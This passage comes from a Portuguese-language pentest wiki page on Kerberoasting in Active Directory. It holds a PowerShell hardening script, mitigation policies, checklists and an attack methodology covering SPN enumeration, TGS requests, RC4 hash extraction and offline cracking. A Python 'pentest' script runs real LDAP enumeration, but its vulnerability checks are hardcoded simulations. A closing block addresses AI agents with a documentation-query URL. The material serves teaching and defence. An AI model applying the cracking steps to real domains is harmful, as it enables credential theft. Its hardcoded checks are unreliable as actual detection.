    Write-Host "   ✅ gMSA configurado para novas contas de serviço"
}

# 4. Configurar monitoramento
Write-Step "4. Configurando monitoramento de Kerberoasting..."

if ($Apply) {
    # Configurar alerta para eventos 4769
    $action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-File C:\Scripts\Alert-Kerberoasting.ps1"
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date)
    Register-ScheduledTask -TaskName "MonitorKerberoasting" -Action $action -Trigger $trigger
    
    Write-Host "   ✅ Monitoramento configurado"
}

# 5. Revisar permissões de SPNs
Write-Step "5. Revisando permissões de SPNs..."

if ($Apply) {
    # Encontrar contas com SPNs que não são contas de serviço
    $nonServiceAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and Enabled -eq $true} | 
        Where-Object { $_.Name -notlike "*svc*" -and $_.Name -notlike "*service*" }
    
    foreach ($account in $nonServiceAccounts) {
        Write-Host "   ⚠️  $($account.Name) tem SPNs mas não é conta de serviço"
        if ($Apply) {
            # Remover SPNs de contas não serviço
            Set-ADUser -Identity $account -Clear servicePrincipalName
            Write-Host "      ✅ SPNs removidos"
        }
    }
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Contas de Serviço:
    - Usar Managed Service Accounts (gMSA)
    - Senhas de 25+ caracteres
    - Rotação a cada 90 dias
    - Remover SPNs de contas não serviço

  ✅ Kerberos:
    - Desabilitar RC4-HMAC
    - Forçar AES128/AES256
    - Habilitar validação de PAC

  ✅ Monitoramento:
    - Alertar sobre eventos 4769 RC4
    - Detectar múltiplas solicitações
    - Monitorar logons de contas de serviço

  ✅ Controle de Acesso:
    - Contas de serviço sem privilégios administrativos
    - Usar princípio do menor privilégio
    - Isolar serviços críticos
```

***

## 🔬 **Pentesting com Kerberoasting**

### **Metodologia de Teste**

```yaml
Fases do Teste Kerberoasting:

  FASE 1 - Reconhecimento:
    - Identificar contas com SPNs
    - Mapear serviços críticos
    - Analisar permissões

  FASE 2 - Coleta de Hashes:
    - Solicitar TGS para cada SPN
    - Extrair hashes RC4
    - Documentar contas vulneráveis

  FASE 3 - Cracking:
    - Testar wordlists comuns
    - Aplicar regras de mutação
    - Documentar senhas recuperadas

  FASE 4 - Validação:
    - Autenticar com senhas recuperadas
    - Verificar privilégios
    - Documentar impacto
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# kerberoasting_pentest.py - Pentest automatizado

import subprocess
import argparse
import sys

class KerberoastingPentest:
    """Ferramenta de pentest para Kerberoasting"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.findings = []
    
    def enumerate_spns(self):
        """Enumerar contas com SPNs"""
        print("[*] Enumerando contas com SPNs...")
        
        cmd = [
            'ldapsearch', '-x', '-H', f'ldap://{self.dc_ip}',
            '-D', f'{self.domain}\\{self.username}',
            '-w', self.password,
            '-b', f'DC={self.domain.replace(".", ",DC=")}',
            '(&(objectClass=user)(servicePrincipalName=*))',
            'sAMAccountName', 'servicePrincipalName'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            
            accounts = []
            current_account = None
            
            for line in result.stdout.split('\n'):
                if 'sAMAccountName:' in line:
                    current_account = line.split(':')[1].strip()
                    accounts.append({'name': current_account, 'spns': []})
                elif 'servicePrincipalName:' in line and current_account:
                    spn = line.split(':')[1].strip()
                    accounts[-1]['spns'].append(spn)
            
            print(f"   ✅ {len(accounts)} contas com SPNs encontradas")
            for account in accounts[:5]:
                print(f"      • {account['name']} - {len(account['spns'])} SPNs")
            
            self.findings.append({
                'type': 'SPN_ACCOUNTS',
                'severity': 'INFO',
                'details': f'{len(accounts)} contas de serviço encontradas'
            })
            
            return accounts
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def check_rc4_support(self):
        """Verificar suporte a RC4"""
        print("[*] Verificando suporte a RC4...")
        
        # Em um pentest real, verificaria a política
        rc4_enabled = True  # Simulação
        
        if rc4_enabled:
            print("   🔴 RC4-HMAC habilitado - vulnerável a Kerberoasting")
            self.findings.append({
                'type': 'RC4_ENABLED',
                'severity': 'HIGH',
                'details': 'RC4-HMAC habilitado no domínio'
            })
        else:
            print("   ✅ RC4 desabilitado")
        
        return rc4_enabled
    
    def test_weak_password(self, account_name):
        """Testar senha fraca"""
        print(f"[*] Testando senha fraca para {account_name}...")
        
        # Em um pentest real, tentaria crackear o hash
        # Simulação
        weak_password = True
        
        if weak_password:
            print(f"   🔴 Senha fraca detectada")
            self.findings.append({
                'type': 'WEAK_SERVICE_PASSWORD',
                'severity': 'CRITICAL',
                'details': f'Conta {account_name} tem senha fraca'
            })
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST KERBEROASTING")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            severity_icon = '🔴' if finding['severity'] == 'CRITICAL' else '🟠' if finding['severity'] == 'HIGH' else '🟡'
            print(f"{severity_icon} [{finding['severity']}] {finding['type']}")
            print(f"   {finding['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Desabilitar RC4-HMAC no Kerberos")
        print("   • Usar senhas fortes para contas de serviço (25+ caracteres)")
        print("   • Rotacionar senhas de serviço a cada 90 dias")
        print("   • Usar Managed Service Accounts (gMSA)")
        print("   • Monitorar eventos 4769 com RC4")
    
    def run(self):
        """Executar pentest completo"""
        print("🔥 Kerberoasting Pentest")
        print("=" * 60)
        
        accounts = self.enumerate_spns()
        rc4 = self.check_rc4_support()
        
        if accounts and rc4:
            # Testar primeira conta
            if accounts:
                self.test_weak_password(accounts[0]['name'])
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Kerberoasting Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    
    args = parser.parse_args()
    
    pentest = KerberoastingPentest(args.domain, args.dc_ip, args.username, args.password)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Desabilitar RC4-HMAC no Kerberos
* [ ] Usar Managed Service Accounts (gMSA)
* [ ] Rotacionar senhas de serviço a cada 90 dias
* [ ] Remover SPNs de contas não serviço
* [ ] Aplicar senhas fortes (25+ caracteres)

#### **Monitoramento**

* [ ] Monitorar eventos 4769 com RC4
* [ ] Alertar sobre múltiplas solicitações
* [ ] Verificar logons de contas de serviço
* [ ] Auditoria de permissões de SPNs

#### **Resposta a Incidentes**

* [ ] Rotacionar senhas de contas comprometidas
* [ ] Revogar tickets suspeitos
* [ ] Investigar origem do ataque
* [ ] Revisar permissões

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Enumerar contas com SPNs
* [ ] Identificar serviços críticos
* [ ] Analisar permissões

#### **Exploração**

* [ ] Solicitar TGS para todos os SPNs
* [ ] Extrair hashes RC4
* [ ] Crackear hashes offline

#### **Documentação**

* [ ] Documentar contas vulneráveis
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Kerberoasting Attack:

  🔴 Principais Vetores:
    - Contas de serviço com SPNs
    - RC4-HMAC habilitado
    - Senhas fracas de serviço
    - Contas com privilégios excessivos

  🛡️ Mitigações Essenciais:
    - Desabilitar RC4-HMAC
    - Usar senhas fortes (25+ caracteres)
    - gMSA para contas de serviço
    - Rotação regular de senhas

  🎯 Prioridade:
    - CRÍTICA: Contas de serviço privilegiadas
    - ALTA: RC4 habilitado
    - MÉDIA: Contas com SPNs
```

***

**✅ Este guia completo sobre Kerberoasting no Active Directory fornece uma base sólida para entender, prevenir e testar este ataque crítico de extração de credenciais de serviços.**

**Próximos passos sugeridos:**

* Desabilitar RC4-HMAC no Kerberos
* Implementar Managed Service Accounts (gMSA)
* Rotacionar senhas de serviço
* Configurar monitoramento de eventos 4769
* Realizar auditorias regulares de contas de serviço


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/kerberoasting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
